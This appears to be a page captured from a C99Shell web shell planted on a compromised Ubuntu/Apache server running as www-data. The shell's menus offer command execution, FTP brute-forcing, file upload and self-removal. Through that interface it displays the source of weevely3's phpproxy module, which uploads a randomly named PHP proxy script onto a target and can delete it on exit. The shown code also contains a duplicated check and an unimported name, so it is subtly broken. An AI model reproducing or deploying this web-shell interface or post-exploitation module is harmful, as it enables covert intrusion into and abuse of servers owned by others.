!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/pmb/weevely3/src/weevely/modules/net/   drwxr-xr-x
Free 13.21 GB of 57.97 GB (22.78%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     phpproxy.py (2.11 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import atexit
import os

from weevely import utils
from weevely.core.loggers import log
from weevely.core.module import Module
from weevely.core.vectors import ModuleExec


class Phpproxy(Module):
    """Install PHP proxy on the target."""

    def init(self):
        self.register_info({"author": ["Emilio Pinna"], "license": "GPLv3"})

        self.register_arguments(
            [
                {
                    "name": "rpath",
                    "help": "Remote path where to install the PHP proxy script. If it is a folder find the first writable folder in it",
                    "default": ".",
                    "nargs": "?",
                },
                {
                    "name": "-rname",
                    "help": "Set a specific file name ending with '.php'. Default is random",
                    "default": "%s.php" % utils.strings.randstr(6).decode("utf-8"),
                },
                {
                    "name": "-no-autoremove",
                    "action": "store_true",
                    "default": False,
                    "help": "Do not autoremove on exit",
                },
            ]
        )

    def run(self, **kwargs):
        with open(os.path.join(self.folder, "poxy.php")) as proxyfile:
            proxycontent = proxyfile.read()

        result = ModuleExec("file_upload2web", ["-content", proxycontent, self.args["rname"], self.args["rpath"]]).run(
            self.args
        )

        if not (result and len(result[0]) == 2 and result[0][0] and result[0][1]):
            return None
        if not (result and len(result[0]) == 2 and result[0][0] and result[0][1]):
            return None

        log.warn(messages.module_net_phpproxy.phpproxy_installed_to_s_browser_to_s % (result[0][0], result[0][1]))

        if self.args["no_autoremove"]:
            log.warn(messages.module_net_phpproxy.proxy_script_manually_remove_s % (result[0][0]))
        else:
            log.warn(messages.module_net_phpproxy.proxy_script_removed)
            atexit.register(ModuleExec("file_rm", [result[0][0]]).run)

        return result

    def print_result(self, result):
        pass

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--